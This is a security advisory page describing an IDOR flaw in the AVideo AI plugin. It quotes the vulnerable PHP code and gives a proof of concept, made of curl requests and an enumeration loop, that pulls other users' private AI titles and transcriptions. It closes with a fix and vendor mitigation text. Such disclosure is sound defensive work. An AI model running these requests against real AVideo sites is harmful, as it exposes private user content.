GHSA-g39v-qrj6-jxrh
MEDIUMAVideo: IDOR in AI Plugin Allows Stealing Other Users' AI-Generated Metadata and Transcriptions
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AI plugin's save.json.php endpoint loads AI response objects using an attacker-controlled $_REQUEST['id'] parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID — including those generated for other users' private videos — and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.
Details
In plugin/AI/save.json.php, the authorization flow checks that the user can edit the target video (Video::canEdit($videos_id) at line 23), but loads the AI response object from a completely separate, user-controlled parameter:
Line 29 — metatags path (no ownership check):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
$ai = new Ai_metatags_responses($_REQUEST['id']); // Loads ANY response by ID
if (empty($ai->getcompletion_tokens())) {
forbiddenPage('AI Response not found');
}
}
Line 146 — transcription path (no ownership check):
case 'text':
if(!empty($_REQUEST['ai_transcribe_responses_id'])){
$ait = new Ai_transcribe_responses($_REQUEST['id']); // Loads ANY response by ID
$value = $ait->getVtt();
The ObjectYPT base class constructor performs a simple database lookup with no authorization:
public function __construct($id = "", $refreshCache = false) {
if (!empty($id)) {
$this->load($id, $refreshCache); // SELECT * WHERE id = ? — no permission check
}
}
The loaded data is then applied to the attacker's video — titles via $video->setTitle() (line 49-51), descriptions via $video->setDescription() (lines 91-92, 100-101), and transcriptions via file_put_contents() (line 156).
In contrast, plugin/AI/delete.json.php correctly validates ownership by traversing to the parent Ai_responses record:
// delete.json.php lines 42-44 — CORRECT ownership check
$ai = new Ai_responses($aitr->getAi_responses_id());
if ($ai->getVideos_id() == $videos_id) {
$obj->ai_transcribe_responses_id = $aitr->delete();
This proves the developers intended ownership validation but omitted it in the save endpoint.
PoC
Prerequisites: Two user accounts (attacker and victim), both with canUseAI permission. The victim has generated AI metadata or transcription for a private video.
Step 1: Attacker enumerates AI response IDs to steal metadata
AI response IDs are sequential integers. The attacker supplies their own videos_id (which they can edit) but references a victim's AI response id:
# Attacker owns video ID 5, victim's AI metatags response is ID 42
curl -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0"
Expected result: The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.
Step 2: Attacker steals full transcription (higher impact)
# Victim's AI transcription response is ID 17
curl -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_transcribe_responses_id=1&id=17&label=text"
Expected result: The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.
Step 3: Enumerate all responses
# Iterate through sequential IDs to harvest all AI responses
for id in $(seq 1 100); do
curl -s -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0"
done
Impact
- Confidentiality breach of private video content: An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.
- Metadata exfiltration: AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.
- Trivial enumeration: AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.
- Low barrier: Any user with
canUseAIpermission who owns at least one video can exploit this. No admin access required.
Recommended Fix
Add ownership validation in save.json.php matching what delete.json.php already does. Load the parent Ai_responses record and verify getVideos_id() matches the provided $videos_id:
// For metatags (after line 29):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
$ai = new Ai_metatags_responses($_REQUEST['id']);
if (empty($ai->getcompletion_tokens())) {
forbiddenPage('AI Response not found');
}
// ADD: Ownership validation
$aiParent = new Ai_responses($ai->getAi_responses_id());
if ($aiParent->getVideos_id() != $videos_id) {
forbiddenPage('AI Response does not belong to this video');
}
}
// For transcriptions (at line 146, inside case 'text'):
$ait = new Ai_transcribe_responses($_REQUEST['id']);
// ADD: Ownership validation
$aitParent = new Ai_responses($ait->getAi_responses_id());
if ($aitParent->getVideos_id() != $videos_id) {
forbiddenPage('AI Response does not belong to this video');
}
$value = $ait->getVtt();
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-g39v-qrj6-jxrh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g39v-qrj6-jxrh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g39v-qrj6-jxrh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g39v-qrj6-jxrh in your dependencies?
O3 detects GHSA-g39v-qrj6-jxrh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.